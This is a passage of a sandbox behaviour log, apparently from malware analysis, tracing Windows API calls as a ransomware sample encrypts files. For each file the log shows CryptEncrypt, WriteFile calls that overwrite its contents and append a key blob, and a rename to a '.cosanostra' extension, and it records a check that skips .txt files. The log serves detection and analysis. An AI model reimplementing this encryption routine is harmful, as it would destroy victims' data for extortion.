pdwDataLen=0x26ff5e0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff5e0*=0x30) returned 1 [0093.933] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.933] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 129 [0093.933] StrStrW (lpFirst="cab1.cab", lpSrch=".txt") returned 0x0 [0093.934] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.935] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff5a4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff5a4*=0x2800, lpOverlapped=0x0) returned 1 [0093.935] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.935] WriteFile (in: hFile=0x138, lpBuffer=0x26ff5e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff5a4, lpOverlapped=0x0 | out: lpBuffer=0x26ff5e4*, lpNumberOfBytesWritten=0x26ff5a4*=0x4, lpOverlapped=0x0) returned 1 [0093.936] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff5a4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff5a4*=0x30, lpOverlapped=0x0) returned 1 [0093.936] CloseHandle (hObject=0x138) returned 1 [0094.448] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.cosanostra") returned 140 [0094.448] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab.cosanostra")) returned 1 [0094.449] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff5e0 | out: pbBuffer=0x26ff5e0) returned 1 [0094.449] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff5d8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff5d8*=0x30) returned 1 [0094.449] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0094.450] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 85 [0094.450] StrStrW (lpFirst="state.rsm", lpSrch=".txt") returned 0x0 [0094.450] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffd66, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.450] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x29a, lpNumberOfBytesWritten=0x26ff59c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff59c*=0x29a, lpOverlapped=0x0) returned 1 [0094.451] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.451] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff5dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff59c, lpOverlapped=0x0 | out: lpBuffer=0x26ff5dc*, lpNumberOfBytesWritten=0x26ff59c*=0x4, lpOverlapped=0x0) returned 1 [0094.451] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff59c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff59c*=0x30, lpOverlapped=0x0) returned 1 [0094.451] CloseHandle (hObject=0x15c) returned 1 [0094.451] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.cosanostra") returned 96 [0094.451] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.cosanostra")) returned 1 [0094.630] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff5e0 | out: pbBuffer=0x26ff5e0) returned 1 [0094.630] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff5d8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff5d8*=0x30) returned 1 [0094.630] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0094.793] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 130 [0094.793] StrStrW (lpFirst="cab1.cab", lpSrch=".txt") returned 0x0 [0094.794] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.794] WriteFile (in: hFile=0x15c, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff59c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff59c*=0x2800, lpOverlapped=0x0) returned 1 [0094.794] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.794] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff5dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff59c, lpOverlapped=0x0 | out: lpBuffer=0x26ff5dc*, lpNumberOfBytesWritten=0x26ff59c*=0x4, lpOverlapped=0x0) returned 1 [0094.881] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff59c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff59c*=0x30, lpOverlapped=0x0) returned 1 [0094.881] CloseHandle (hObject=0x15c) returned 1 [0094.890] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.cosanostra") returned 141 [0094.890] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab.cosanostra")) returned 1 [0094.891] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff5d8 | out: pbBuffer=0x26ff5d8) returned 1 [0094.891] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff5d0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff5d0*=0x30) returned 1 [0094.891] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0094.892] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned 85 [0094.892] StrStrW (lpFirst="state.rsm", lpSrch=".txt") returned 0x0 [0094.892] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffd72, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.893] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x28e, lpNumberOfBytesWritten=0x26ff594, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff594*=0x28e, lpOverlapped=0x0) returned 1 [0094.893] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.893] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff5d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff594, lpOverlapped=0x0 | out: lpBuffer=0x26ff5d4*, lpNumberOfBytesWritten=0x26ff594*=0x4, lpOverlapped=0x0) returned 1 [0094.893] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff594, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff594*=0x30, lpOverlapped=0x0) returned 1 [0094.893] CloseHandle (hObject=0x15c) returned 1 [0094.893] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.cosanostra") returned 96 [0094.893] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.cosanostra")) returned 1 [0094.899] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff5c8 | out: pbBuffer=0x26ff5c8) returned 1 [0094.899] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff5c0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff5c0*=0x30) returned 1 [0094.900] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0094.900] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned 142 [0094.900] StrStrW (lpFirst="vc_runtimeMinimum_x86.msi", lpSrch=".txt") returned 0x0 [0094.932] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.932] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff584, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff584*=0x2800, lpOverlapped=0x0) returned 1 [0094.932] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.933] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff5c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff584, lpOverlapped=0x0 | out: lpBuffer=0x26ff5c4*, lpNumberOfBytesWritten=0x26ff584*=0x4, lpOverlapped=0x0) returned 1 [0094.933] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff584, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff584*=0x30, lpOverlapped=0x0) returned 1 [0094.933] CloseHandle (hObject=0x15c) returned 1 [0094.933] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.cosanostra") returned 153 [0094.933] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.cosanostra")) returned 1 [0094.936] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff5a0 | out: pbBuffer=0x26ff5a0) returned 1 [0094.936] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff598*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff598*=0x30) returned 1 [0094.937] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0094.937] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu") returned 125 [0094.937] StrStrW (lpFirst="Windows6.1-KB2999226-x64.msu", lpSrch=".txt") returned 0x0 [0094.991] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.991] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff55c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff55c*=0x2800, lpOverlapped=0x0) returned 1 [0094.991] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.991] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff59c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff55c, lpOverlapped=0x0 | out: lpBuffer=0x26ff59c*, lpNumberOfBytesWritten=0x26ff55c*=0x4, lpOverlapped=0x0) returned 1 [0095.106] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff55c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff55c*=0x30, lpOverlapped=0x0) returned 1 [0095.106] CloseHandle (hObject=0x15c) returned 1 [0095.279] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.cosanostra") returned 136 [0095.279] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.cosanostra" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu.cosanostra")) returned 1 [0095.280] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff5a0 | out: pbBuffer=0x26ff5a0) returned 1 [0095.280] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff598*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff598*=0x30) returned 1 [0095.280] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0095.280] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll") returned 76 [0095.280] StrStrW (lpFirst="XLINTL32.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.372] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.372] WriteFile (in: hFile=0x15c, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff55c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff55c*=0x2800, lpOverlapped=0x0) returned 1 [0095.373] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.373] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff59c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff55c, lpOverlapped=0x0 | out: lpBuffer=0x26ff59c*, lpNumberOfBytesWritten=0x26ff55c*=0x4, lpOverlapped=0x0) returned 1 [0095.466] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff55c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff55c*=0x30, lpOverlapped=0x0) returned 1 [0095.466] CloseHandle (hObject=0x15c) returned 1 [0095.466] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll.cosanostra") returned 87 [0095.466] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.dll.trx_dll.cosanostra")) returned 1 [0095.467] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff598 | out: pbBuffer=0x26ff598) returned 1 [0095.467] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff590*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff590*=0x30) returned 1 [0095.467] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visbrres.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0095.470] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll") returned 76 [0095.470] StrStrW (lpFirst="VISBRRES.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.487] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.487] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff554, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff554*=0x2800, lpOverlapped=0x0) returned 1 [0095.487] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.487] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff594*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff554, lpOverlapped=0x0 | out: lpBuffer=0x26ff594*, lpNumberOfBytesWritten=0x26ff554*=0x4, lpOverlapped=0x0) returned 1 [0095.516] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff554, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff554*=0x30, lpOverlapped=0x0) returned 1 [0095.516] CloseHandle (hObject=0x15c) returned 1 [0095.529] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll.cosanostra") returned 87 [0095.529] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visbrres.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visbrres.dll.trx_dll.cosanostra")) returned 1 [0095.530] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff598 | out: pbBuffer=0x26ff598) returned 1 [0095.530] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff590*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff590*=0x30) returned 1 [0095.530] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\sgres.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.884] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll") returned 73 [0095.884] StrStrW (lpFirst="SGRES.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.916] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.916] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff554, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff554*=0x2800, lpOverlapped=0x0) returned 1 [0095.916] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 